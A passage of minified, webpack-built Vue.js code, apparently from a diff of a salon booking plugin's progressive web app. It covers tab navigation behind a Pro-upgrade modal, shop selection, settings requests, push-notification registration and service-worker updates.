o=this.tabIndexToHash(e);o!==this.hash&&this.click(o)},proUpgradeModalVisible(e){if(!e&&!this.isProUser){if(this.skipResyncAfterModalClose)return void(this.skipResyncAfterModalClose=!1);this.resyncTabModelToHash()}}},methods:{onActivateTab(e,o,s){this.isProUser||this.isRestrictedTabIndex(e)&&(s&&\"function\"===typeof s.preventDefault&&s.preventDefault(),this.proUpgradeModalVisible=!0)},resyncTabModelToHash(){this.isSyncingTabs=!0,this.tabModelIndex=this.hashToTabIndex(this.hash),this.$nextTick(()=>{this.isSyncingTabs=!1})},goToUpcomingReservations(){this.skipResyncAfterModalClose=!0;const e=\"#upcoming-reservations\",o=this.hashToTabIndex(e);this.hash=e,this.syncLocationToHash(e),this.tabModelIndex=o,this.tabsMountKey+=1,this.$nextTick(()=>{this.tabModelIndex=o,this.$nextTick(()=>{window.setTimeout(()=>{this.click(e)},50)})})},scrollUpcomingIntoViewIfNeeded(){try{const e=document.querySelector(\".current-time-line\");if(!e||null===document.querySelector(\".dp__active_date.dp__today\"))return void(e&&(e.style.display=\"none\"));e.style.display=\"block\",e.scrollIntoView({behavior:\"smooth\",block:\"center\"})}catch(e){}},hashToTabIndex(e){const o=this.isShopsEnabled,s=o?{\"#shops\":0,\"#upcoming-reservations\":1,\"#reservations-calendar\":2,\"#customers\":3,\"#user-profile\":4}:{\"#upcoming-reservations\":0,\"#reservations-calendar\":1,\"#customers\":2,\"#user-profile\":3};return Object.prototype.hasOwnProperty.call(s,e)?s[e]:o?1:0},tabIndexToHash(e){const o=this.isShopsEnabled,s=o?[\"#shops\",\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"]:[\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"];return null!=s[e]?s[e]:\"#upcoming-reservations\"},isRestrictedTabIndex(e){const o=this.isShopsEnabled,s=o?2:1,t=o?3:2;return e===s||e===t},resolveInitialHashFromUrl(){const e=this.getQueryParams();if(\"undefined\"!==typeof e.tab&&e.tab){const o=decodeURIComponent(String(e.tab)).replace(\u002F^#\u002F,\"\");return o.startsWith(\"#\")?o:\"#\"+o}return window.location.hash?window.location.hash:this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\"},isProOnlyHash(e){if(!e)return!1;const o=e.startsWith(\"#\")?e:\"#\"+e;return\"#reservations-calendar\"===o||\"#customers\"===o},syncLocationToHash(e){try{const o=new URL(window.location.href);o.searchParams.delete(\"tab\");const s=(e.startsWith(\"#\")?e:\"#\"+e).slice(1);o.hash=s,window.history.replaceState(null,\"\",o.toString())}catch(o){window.location.hash=e.startsWith(\"#\")?e:\"#\"+e}},onHashChange(){const e=window.location.hash||(this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\");if(!this.isProUser&&this.isProOnlyHash(e))return this.proUpgradeModalVisible=!0,this.hash=\"#upcoming-reservations\",void this.syncLocationToHash(\"#upcoming-reservations\");this.hash=e},navigateToTab(e,o){if(!this.isProUser&&this.isProOnlyHash(e))return o&&(o.preventDefault(),o.stopPropagation()),this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();this.click(e)},click(e){window.location.href=e;const o=document.querySelector(\".current-time-line\");o&&(null!==document.querySelector(\".dp__active_date.dp__today\")?(o.style.display=\"block\",o.scrollIntoView({behavior:\"smooth\",block:\"center\"})):o.style.display=\"none\")},applyShop(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$emit(\"applyShop\",e)},applyShopAndSwitch(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$refs[\"upcoming-reservations-tab-link\"].click(),this.$emit(\"applyShop\",e)},hideTabsHeader(e){this.isHideTabsHeader=e}},emits:[\"applyShop\"]};const H=(0,A.A)(U,[[\"render\",d],[\"__scopeId\",\"data-v-38f771fa\"]]);var M=H,O={name:\"App\",mounted(){this.loadBookingDragResizePref(),this.loadSettings(),this.displayBuildVersion()},computed:{isShopsEnabled(){return window.slnPWA.is_shops}},data:function(){return{settings:{},statusesList:{\"sln-b-pendingpayment\":{label:this.getLabel(\"pendingPaymentStatusLabel\"),color:\"#ffc107\"},\"sln-b-pending\":{label:this.getLabel(\"pendingStatusLabel\"),color:\"#ffc107\"},\"sln-b-paid\":{label:this.getLabel(\"paidStatusLabel\"),color:\"#28a745\"},\"sln-b-paylater\":{label:this.getLabel(\"payLaterStatusLabel\"),color:\"#17a2b8\"},\"sln-b-error\":{label:this.getLabel(\"errorStatusLabel\"),color:\"#dc3545\"},\"sln-b-confirmed\":{label:this.getLabel(\"confirmedStatusLabel\"),color:\"#28a745\"},\"sln-b-canceled\":{label:this.getLabel(\"canceledStatusLabel\"),color:\"#dc3545\"}},shop:null,disableBookingDragResize:!1}},watch:{shop(){this.loadSettings()}},methods:{loadBookingDragResizePref(){try{if(!window.slnPWA?.can_access_booking_resize_pref)return void(this.disableBookingDragResize=!1);this.disableBookingDragResize=\"1\"===localStorage.getItem(\"sln_pwa_disable_booking_drag_resize\")}catch(e){this.disableBookingDragResize=!1}},setDisableBookingDragResize(e){if(window.slnPWA?.can_access_booking_resize_pref){this.disableBookingDragResize=!!e;try{this.disableBookingDragResize?localStorage.setItem(\"sln_pwa_disable_booking_drag_resize\",\"1\"):localStorage.removeItem(\"sln_pwa_disable_booking_drag_resize\")}catch(o){}}},loadSettings(){this.axios.get(\"app\u002Fsettings\",{params:{shop:this.shop?this.shop.id:null}}).then(e=>{this.settings=e.data.settings,this.$root.settings={...this.$root.settings,...this.settings}})},applyShop(e){this.shop=e},async displayBuildVersion(){try{const e=await fetch(`\u002F{SLN_PWA_DIST_PATH}\u002Fversion.json?t=${Date.now()}`),o=await e.json();console.log(\"\\n═══════════════════════════════════════\"),console.log(\"🎯 PWA BUILD VERSION\"),console.log(\"═══════════════════════════════════════\"),console.log(`📅 Build Time: ${o.buildTime}`),console.log(`🔑 Build Hash: ${o.buildHash}`),console.log(`⏱️  Timestamp:  ${o.timestamp}`),console.log(\"═══════════════════════════════════════\\n\"),window.PWA_BUILD_VERSION=o}catch(e){console.warn(\"⚠️  Could not load build version:\",e)}}},components:{TabsList:M},beforeCreate(){this.$OneSignal&&(this.$OneSignal.showSlidedownPrompt(),this.$OneSignal.on(\"subscriptionChange\",e=>{e&&this.$OneSignal.getUserId(e=>{e&&this.axios.put(\"users\",{onesignal_player_id:e})})}))}};const $=(0,A.A)(O,[[\"render\",i]]);var x=$,W=s(9501);setInterval(()=>{navigator.serviceWorker.getRegistration().then(e=>{e&&e.update()})},6e4),(0,W.k)(\"\u002F{SLN_PWA_DIST_PATH}\u002Fservice-worker.js\",{ready(){console.log(\"✅ PWA ready - served from cache by service worker\")},registered(e){console.log(\"✅ Service worker registered\"),setInterval(()=>{e.update()},6e4)},cached(){console.log(\"✅ Content cached for offline use\")},updatefound(){console.log(\"🔄 New PWA version downloading...\")},updated(e){console.log(\"🎉 New PWA version available!\"),console.log(\"🔄 Auto-reloading to get fresh code...\"),e&&e.waiting&&e.waiting.postMessage({type:\"SKIP_WAITING\"}),setTimeout(()=>{console.log(\"♻️ Reloading page now...\"),window.location.reload()},1e3)},offline(){console.log(\"📵 Offline mode - no internet connection\")},error(e){console.error(\"❌ Service worker error:\",e)}}),navigator.serviceWorker.addEventListener(\"controllerchange\",()=>{console.log(\"🔄 Service worker updated - reloading...\"),window.location.reload()});var N=s(5222),V=(0,N.y$)({state:{},getters:{},mutations:{},actions:{},modules:{}}),R=s(9592),F=s(1893),B=s(3975),X=s(4394),j=s(7947),z=s(8565),K=s(376),Q=s(8215),q=s(1975),J=s(5329),G=s(7797),Y=s(1341);F.Yv.add(X.ITF,X.l6G,j.vlp,X.$UM,j.a$,X.XkK,X.Wzs,X.yLS,X.bnw,X.LFz,X.e68,X.gdJ,X.e9J,X.QLR,X.dzk,X.ivC,X.s67,X.B9e,X.KKb,X.DW4,X.KKr,X.TOj,X.q_k,z.EYA,X.H37,X.yvG,X.rwq,X.rk5,j.QRE,X.z$e,X.Bwz,X.lLb,X.PIP,X.CeG,X.Jyw,X.$GG,X._Xl,X.KMJ);var Z=(0,t.Ef)(x).use(V).use(R.Ay).use(Y.A).component(\"font-awesome-icon\",B.gc).component(\"Datepicker\",K.A).component(\"vue-select\",J.A).component(\"Carousel\",G.FN).component(\"Slide\",G.q7).component(\"Pagination\",G.dK).component(\"Navigation\",G.Vx).mixin(Q.A),ee=window.slnPWA.onesignal_app_id;ee&&Z.use(q.A,{appId:ee,serviceWorkerParam:{scope:\"\u002F{SLN_PWA_DIST_PATH}\u002F\"},serviceWorkerPath:\"{SLN_PWA_DIST_PATH}\u002FOneSignalSDKWorker.js\"}),Z.mount(\"#app\")},8215:function(e,o,s){s(8992),s(3949),s(1454);var t=s(8207),n=s(8699),i=s.n(n),a=s(5919),r=s.n(a),l=s(8562),d=s.n(l),c=s(9288),p=s.n(c);s(3412),s(2092),s(1575),s(3931),s(410),s(8801),s(7319),s(4271),s(2924);i().extend(r()),i().extend(d()),i().extend(p()),o.A={computed:{axios(){return t.A.create({baseURL:window.slnPWA.api,headers:{\"Access-Token\":window.slnPWA.token}})},moment(){return i()},locale(){return window.slnPWA.locale},shouldHideEmail(){return this.$root.settings&&this.$root.settings.hide_customers_email},shouldHidePhone(){return this.$root.settings&&this.$root.settings.hide_customers_phone},canUseAssistantFilter(){return!!window.slnPWA?.can_use_assistant_filter},canAccessBookingResizePref(){return!!window.slnPWA?.can_access_booking_resize_pref},canUsePwaNoShowControl(){return!0===window.slnPWA?.is_pro}},methods:{dayjsLocale(e){if(!e)return\"en\";const o=String(e).split(\"_\")[0].split(\"-\")[0].toLowerCase();return o||\"en\"},dateFormat(e,o){var s=this.$root.settings.date_format?this.$root.settings.date_format.js_format:null;if(!s)return e;var t=s.replace(\"dd\",\"DD\").replace(\"M\",\"MMM\").replace(\"mm\",\"MM\").replace(\"yyyy\",\"YYYY\");return i()(e).format(o||t)},timeFormat(e){return i()(e,\"HH:mm\").format(this.getTimeFormat())},getTimeFormat(){var e=this.$root.settings.time_format?this.$root.settings.time_format.js_format:null;if(e){var o=e.indexOf(\"p\")>-1?e.replace(\"H\",\"hh\").replace(\"p\",\"a\").replace(\"ii\",\"mm\"):e.replace(\"hh\",\"HH\").replace(\"ii\",\"mm\");return o}},getQueryParams(){let e=window.location.search;e=e.replace(\"?\",\"\");let o=e.split(\"&\").map(e=>({key:e.split(\"=\")[0],value:e.split(\"=\")[1]})),s={};return o.forEach(e=>{s[e.key]=e.value}),s},getLabel(e){return window.slnPWA.labels[e]},getDisplayEmail(e){return this.shouldHideEmail?\"***@***\":e},getDisplayPhone(e){return this.shouldHidePhone?\"*******\":e}}}}},o={};function s(t){var n=o[t];if(void 0!==n)return n.exports;var i=o[t]={exports:{}};return e[t].call(i.exports,i,i.exports,s),i.exports}s.m=e,function(){var e=[];s.O=function(o,t,n,i){if(!t){var a=1\u002F0;for(c=0;c\u003Ce.length;c++){t=e[c][0],n=e[c][1],i=e[c][2];for(var r=!0,l=0;l\u003Ct.length;l++)(!1&i||a>=i)&&Object.keys(s.O).every(function(e){return s.O[e](t[l])})?t.splice(l--,1):(r=!1,i\u003Ca&&(a=i));if(r){e.splice(c--,1);var d=n();void 0!==d&&(o=d)}}return o}i=i||0;for(var c=e.length;c>0&&e[c-1][2]>i;c--)e[c]=e[c-1];e[c]=[t,n,i]}}(),function(){s.n=function(e){var o=e&&e.__esModule?function(){return e[\"default\"]}:function(){return e};return s.d(o,{a:o}),o}}(),function(){s.d=function(e,o){for(var t in o)s.o(o,t)&&!s.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:o[t]})}}(),function(){s.f={},s.e=function(e){return Promise.all(Object.keys(s.f).reduce(function(o,t){return s.f[t](e,o),o},[]))}}(),function(){s.u=function(e){return\"js\u002F\"+e+\".js\"}}(),function(){s.miniCssF=function(e){return\"css\u002F\"+e+\".css\"}}(),function(){s.g=function(){if(\"object\"===typeof globalThis)return globalThis;try{return this||new Function(\"return this\")()}catch(e){if(\"object\"===typeof window)return window}}()}(),function(){s.o=function(e,o){return Object.prototype.hasOwnProperty.call(e,o)}}(),function(){var e={},o=\"salon-booking-plugin-pwa:\";s.l=function(t,n,i,a){if(e[t])e[t].push(n);else{var r,l;if(void 0!==i)for(var d=document.getElementsByTagName(\"script\"),c=0;c\u003Cd.length;c++){var p=d[c];if(p.getAttribute(\"src\")==t||p.getAttribute(\"data-webpack\")==o+i){r=p;break}}r||(l=!0,r=document.createElement(\"script\"),r.charset=\"utf-8\",s.nc&&r.setAttribute(\"nonce\",s.nc),r.setAttribute(\"data-webpack\",o+i),r.src=t),e[t]=[n];var h=function(o,s){r.onerror=r.onload=null,clearTimeout(u);var n=e[t];if(delete e[t],r.parentNode&&r.parentNode.removeChild(r),n&&n.forEach(function(e){return e(s)}),o)return o(s)},u=setTimeout(h.bind(null,void 0,{type:\"timeout\",target:r}),12e4);r.onerror=h.bind(null,r.onerror),r.onload=h.bind(null,r.onload),l&&document.head.appendChild(r)}}}(),function(){s.r=function(e){\"undefined\"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(e,\"__esModule\",{value:!0})}}(),function(){s.p=\"\u002F{SLN_PWA_DIST_PATH}\u002F\"}(),function(){if(\"undefined\"!==typeof document){var e=function(e,o,t,n,i){var a=document.createElement(\"link\");a.rel=\"stylesheet\",a.type=\"text\u002Fcss\",s.nc&&(a.nonce=s.nc);var r=function(s){if(a.onerror=a.onload=null,\"load\"===s.type)n();else{var t=s&&s.type,r=s&&s.target&&s.target.href||o,l=new Error(\"Loading CSS chunk \"+e+\" failed.\\n(\"+t+\": \"+r+\")\");l.name=\"ChunkLoadError\",l.code=\"CSS_CHUNK_LOAD_FAILED\",l.type=t,l.request=r,a.parentNode&&a.parentNode.removeChild(a),i(l)}};return a.onerror=a.onload=r,a.href=o,t?t.parentNode.insertBefore(a,t.nextSibling):document.head.appendChild(a),a},o=function(e,o){for(var s=document.getElementsByTagName(\"link\"),t=0;t\u003Cs.length;t++){var n=s[t],i=n.getAttribute(\"data-href\")||n.getAttribute(\"href\");if(\"stylesheet\"===n.rel&&(i===e||i===o))return n}var a=document.getElementsByTagName(\"style\");for(t=0;t\u003Ca.length;t++){n=a[t],i=n.getAttribute(\"data-href\");if(i===e||i===o)return n}},t=function(t){return new Promise(function(n,i){var a=s.miniCssF(t),r=s.p+a;if(o(a,r))return n();e(t,r,null,n,i)})},n={524:0};s.f.miniCss=function(e,o){var s={1:1,63:1,114:1,473:1,728:1};n[e]?o.push(n[e]):0!==n[e]&&s[e]&&o.push(n[e]=t(e).then(function(){n[e]=0},function(o){throw delete n[e],o}))}}}(),function(){var e={524:0};s.f.j=function(o,t){var n=s.o(e,o)?e[o]:void 0;if(0!==n)if(n)t.push(n[2]);else{var i=new Promise(function(s,t){n=e[o]=[s,t]});t.push(n[2]=i);var a=s.p+s.u(o),r=new Error,l=function(t){if(s.o(e,o)&&(n=e[o],0!==n&&(e[o]=void 0),n)){var i=t&&(\"load\"===t.type?\"missing\":t.type),a=t&&t.target&&t.target.src;r.message=\"Loading chunk \"+o+\" failed.\\n(\"+i+\": \"+a+\")\",r.name=\"ChunkLoadError\",r.type=i,r.request=a,n[1](r)}};s.l(a,l,\"chunk-\"+o,o)}},s.O.j=function(o){return 0===e[o]};var o=function(o,t){var n,i,a=t[0],r=t[1],l=t[2],d=0;if(a.some(function(o){return 0!==e[o]})){for(n in r)s.o(r,n)&&(s.m[n]=r[n]);if(l)var c=l(s)}for(o&&o(t);d\u003Ca.length;d++)i=a[d],s.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return s.O(c)},t=self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[];t.forEach(o.bind(null,0)),t.push=o.bind(null,t.push.bind(t))}();var t=s.O(void 0,[453,504],function(){return s(6820)});t=s.O(t)})();\n\\ No newline at end of file\n+(function(){\"use strict\";var e={4119:function(e,o,s){s.d(o,{A:function(){return m}});var t=s(6436),n=s(1469),i=s(7959);const a=[\"aria-labelledby\"],r=[\"aria-label\"],l=[\"aria-label\"],d=[\"id\"],c={class:\"sln-pro-upgrade-modal__text\"},p=[\"href\"];function h(e,o,s,h,u,g){const b=(0,t.g2)(\"font-awesome-icon\");return(0,t.uX)(),(0,t.Wv)(t.Im,{to:\"body\"},[s.modelValue?((0,t.uX)(),(0,t.CE)(\"div\",{key:0,class:\"sln-pro-upgrade-modal\",role:\"dialog\",\"aria-modal\":\"true\",\"aria-labelledby\":u.titleId},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__backdrop\",\"aria-label\":g.dismissLabel,onMousedown:o[0]||(o[0]=(0,n.D$)(()=>{},[\"prevent\"])),onClick:o[1]||(o[1]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\"]))},null,40,r),(0,t.Lk)(\"div\",{class:\"sln-pro-upgrade-modal__card\",onClick:o[5]||(o[5]=(0,n.D$)(()=>{},[\"stop\"]))},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__x\",\"aria-label\":g.dismissLabel,onClick:o[2]||(o[2]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},[(0,t.bF)(b,{icon:\"fa-solid fa-xmark\"})],8,l),(0,t.Lk)(\"h2\",{id:u.titleId,class:\"sln-pro-upgrade-modal__title\"},(0,i.v_)(g.title),9,d),(0,t.Lk)(\"p\",c,(0,i.v_)(g.message),1),(0,t.Lk)(\"a\",{href:g.pricingUrl,class:\"btn btn-primary sln-pro-upgrade-modal__cta\",target:\"_blank\",rel:\"noopener noreferrer\",onClick:o[3]||(o[3]=(0,n.D$)((...e)=>g.closeDeferred&&g.closeDeferred(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.ctaLabel),9,p),(0,t.Lk)(\"button\",{type:\"button\",class:\"btn btn-link sln-pro-upgrade-modal__dismiss\",onClick:o[4]||(o[4]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.dismissLabel),1)])],8,a)):(0,t.Q3)(\"\",!0)])}var u={name:\"ProUpgradeModal\",props:{modelValue:{type:Boolean,default:!1},messageOverride:{type:String,default:\"\"},navigateToUpcomingOnDismiss:{type:Boolean,default:!0}},emits:[\"update:modelValue\",\"dismiss-to-upcoming\"],data(){return{titleId:\"sln-pro-upgrade-modal-title\"}},computed:{title(){return this.getLabel(\"proUpgradeModalTitle\")},message(){return this.messageOverride||this.getLabel(\"proUpgradeModalMessage\")},ctaLabel(){return this.getLabel(\"proUpgradeModalCtaLabel\")},dismissLabel(){return this.getLabel(\"proUpgradeModalCloseLabel\")},pricingUrl(){return window.slnPWA?.pro_pricing_url||\"https:\u002F\u002Fwww.salonbookingsystem.com\u002Fplugin-pricing\u002F\"}},methods:{closeDeferred(){setTimeout(()=>{this.$emit(\"update:modelValue\",!1)},0)},closeDeferredNavigateUpcoming(){setTimeout(()=>{this.navigateToUpcomingOnDismiss&&this.$emit(\"dismiss-to-upcoming\"),this.$emit(\"update:modelValue\",!1)},0)}}},g=s(5932);const b=(0,g.A)(u,[[\"render\",h],[\"__scopeId\",\"data-v-1eb28792\"]]);var m=b},6820:function(e,o,s){var t=s(1469),n=s(6436);function i(e,o,s,t,i,a){const r=(0,n.g2)(\"TabsList\");return(0,n.uX)(),(0,n.CE)(\"div\",null,[(0,n.bF)(r,{onApplyShop:a.applyShop,isShopsEnabled:a.isShopsEnabled},null,8,[\"onApplyShop\",\"isShopsEnabled\"])])}var a=s(7959);const r={key:2,class:\"pwa-pro-only-tab-placeholder\"},l={key:2,class:\"pwa-pro-only-tab-placeholder\"};function d(e,o,s,t,i,d){const c=(0,n.g2)(\"ProUpgradeModal\"),p=(0,n.g2)(\"font-awesome-icon\"),h=(0,n.g2)(\"ShopsTab\"),u=(0,n.g2)(\"b-tab\"),g=(0,n.g2)(\"ShopTitle\"),b=(0,n.g2)(\"UpcomingReservationsTab\"),m=(0,n.g2)(\"ReservationsCalendarTab\"),f=(0,n.g2)(\"CustomersAddressBookTab\"),v=(0,n.g2)(\"UserProfileTab\"),y=(0,n.g2)(\"b-tabs\");return(0,n.uX)(),(0,n.CE)(\"div\",{class:(0,a.C4)({\"hide-tabs-header\":e.isHideTabsHeader})},[(0,n.bF)(c,{modelValue:e.proUpgradeModalVisible,\"onUpdate:modelValue\":o[0]||(o[0]=o=>e.proUpgradeModalVisible=o),onDismissToUpcoming:d.goToUpcomingReservations},null,8,[\"modelValue\",\"onDismissToUpcoming\"]),((0,n.uX)(),(0,n.Wv)(y,{key:\"sln-pwa-tabs-\"+e.tabsMountKey,modelValue:e.tabModelIndex,\"onUpdate:modelValue\":o[6]||(o[6]=o=>e.tabModelIndex=o),pills:\"\",card:\"\",end:\"\",onActivateTab:d.onActivateTab},{default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(u,{key:0,\"title-item-class\":{hide:!s.isShopsEnabled}},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[1]||(o[1]=e=>d.click(\"#shops\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-store\",class:\"tab-icon\"}),o[7]||(o[7]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Shops\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(h,{isShopsEnabled:s.isShopsEnabled,onApplyShop:d.applyShopAndSwitch},null,8,[\"isShopsEnabled\",\"onApplyShop\"])]),_:1},8,[\"title-item-class\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",ref:\"upcoming-reservations-tab-link\",onClick:o[2]||(o[2]=e=>{d.click(\"#upcoming-reservations\"),d.scrollUpcomingIntoViewIfNeeded()})},[(0,n.bF)(p,{icon:\"fa-solid fa-list\",class:\"tab-icon\"}),o[8]||(o[8]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Upcoming\",-1))],512)]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(b,{shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[3]||(o[3]=e=>d.navigateToTab(\"#reservations-calendar\",e))},[(0,n.bF)(p,{icon:\"fa-solid fa-calendar-days\",class:\"tab-icon\"}),o[9]||(o[9]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Calendar\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(m,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",r))]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[4]||(o[4]=e=>d.navigateToTab(\"#customers\",e))},[(0,n.bF)(p,{icon:\"fa-regular fa-address-book\",class:\"tab-icon\"}),o[10]||(o[10]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Customers\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(f,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",l))]),_:1}),(0,n.bF)(u,{\"title-item-class\":\"nav-item-profile\"},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[5]||(o[5]=e=>d.click(\"#user-profile\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-user-alt\",class:\"tab-icon\"}),o[11]||(o[11]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Profile\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(v)]),_:1})]),_:1},8,[\"modelValue\",\"onActivateTab\"]))],2)}s(4603),s(7566),s(8721);const c={class:\"shop-title-wrapper\"},p={class:\"shop-selector\"},h={class:\"selector-label\"},u={class:\"selector-dropdown\"},g={key:0},b={key:1},m={key:0,class:\"dropdown-content\"},f={key:0,class:\"loading-spinner\"},v={key:1,class:\"no-shops\"},y={key:2,class:\"shops-list\"},k=[\"onClick\"],w={class:\"shop-info\"},_={class:\"shop-name\"},S={class:\"shop-address\"};function T(e,o,s,t,i,r){const l=(0,n.g2)(\"font-awesome-icon\"),d=(0,n.g2)(\"b-spinner\"),T=(0,n.gN)(\"click-outside\");return(0,n.uX)(),(0,n.CE)(\"div\",c,[(0,n.Lk)(\"div\",p,[(0,n.Lk)(\"div\",h,(0,a.v_)(this.getLabel(\"shopTitleLabel\"))+\":\",1),(0,n.bo)(((0,n.uX)(),(0,n.CE)(\"div\",u,[(0,n.Lk)(\"div\",{class:\"selected-value\",onClick:o[0]||(o[0]=(...e)=>r.toggleDropdown&&r.toggleDropdown(...e))},[r.selectedShopName?((0,n.uX)(),(0,n.CE)(\"span\",g,(0,a.v_)(r.selectedShopName),1)):((0,n.uX)(),(0,n.CE)(\"span\",b,(0,a.v_)(this.getLabel(\"selectShopPlaceholder\")),1)),(0,n.bF)(l,{icon:\"fa-solid fa-chevron-right\",class:(0,a.C4)([\"dropdown-icon\",{\"dropdown-icon--open\":i.isDropdownOpen}])},null,8,[\"class\"])]),i.isDropdownOpen?((0,n.uX)(),(0,n.CE)(\"div\",m,[i.isLoading?((0,n.uX)(),(0,n.CE)(\"div\",f,[(0,n.bF)(d,{variant:\"primary\"})])):0===i.shopsList.length?((0,n.uX)(),(0,n.CE)(\"div\",v,(0,a.v_)(this.getLabel(\"shopsNoResultLabel\")),1)):((0,n.uX)(),(0,n.CE)(\"div\",y,[((0,n.uX)(!0),(0,n.CE)(n.FK,null,(0,n.pI)(i.shopsList,e=>((0,n.uX)(),(0,n.CE)(\"div\",{key:e.id,class:\"shop-item\",onClick:o=>r.selectShop(e)},[(0,n.Lk)(\"div\",w,[(0,n.Lk)(\"div\",_,(0,a.v_)(e.name),1),(0,n.Lk)(\"div\",S,(0,a.v_)(e.address),1)])],8,k))),128))]))])):(0,n.Q3)(\"\",!0)])),[[T,r.closeDropdown]])])])}var L={name:\"ShopTitle\",props:{shop:{default:function(){return{}}}},data(){return{isDropdownOpen:!1,shopsList:[],isLoading:!1}},computed:{name(){return this.shop&&this.shop.id?this.shop.name:\"\"},selectedShopName(){return this.shop&&this.shop.id?this.shop.name:\"\"}},methods:{toggleDropdown(){this.isDropdownOpen=!this.isDropdownOpen,this.isDropdownOpen&&this.loadShops()},closeDropdown(){this.isDropdownOpen=!1},loadShops(){this.isLoading=!0,this.shopsList=[],this.axios.get(\"shops\").then(e=>{this.shopsList=e.data.items}).finally(()=>{this.isLoading=!1})},selectShop(e){this.$emit(\"applyShop\",e),this.closeDropdown()}},emits:[\"applyShop\"],directives:{\"click-outside\":{mounted(e,o){e.clickOutsideEvent=function(s){e===s.target||e.contains(s.target)||o.value(s)},document.addEventListener(\"click\",e.clickOutsideEvent)},unmounted(e){document.removeEventListener(\"click\",e.clickOutsideEvent)}}}},A=s(5932);const P=(0,A.A)(L,[[\"render\",T],[\"__scopeId\",\"data-v-169ad628\"]]);var C=P,E=s(4119);const I={name:\"PwaTabLoading\",render(){return(0,n.h)(\"div\",{class:\"pwa-tab-async-loading\",role:\"status\",\"aria-busy\":\"true\"})}},D={loadingComponent:I,delay:0,timeout:12e4};var U={name:\"TabsList\",props:{isShopsEnabled:{default:function(){return!1}}},components:{UpcomingReservationsTab:(0,n.$V)({loader:()=>Promise.all([s.e(92),s.e(114)]).then(s.bind(s,1114)),...D}),ReservationsCalendarTab:(0,n.$V)({loader:()=>Promise.all([s.e(92),s.e(128)]).then(s.bind(s,9128)),...D}),CustomersAddressBookTab:(0,n.$V)({loader:()=>Promise.all([s.e(92),s.e(905)]).then(s.bind(s,905)),...D}),UserProfileTab:(0,n.$V)({loader:()=>s.e(389).then(s.bind(s,389)),...D}),ShopsTab:(0,n.$V)({loader:()=>s.e(728).then(s.bind(s,8728)),...D}),ShopTitle:C,ProUpgradeModal:E.A},created(){let e=this.resolveInitialHashFromUrl();!this.isProUser&&this.isProOnlyHash(e)&&(this.proUpgradeModalVisible=!0,e=\"#upcoming-reservations\",this.syncLocationToHash(e)),this.hash=e,this.tabModelIndex=this.hashToTabIndex(this.hash)},mounted(){if(window.addEventListener(\"hashchange\",this.onHashChange),this.isShopsEnabled){const 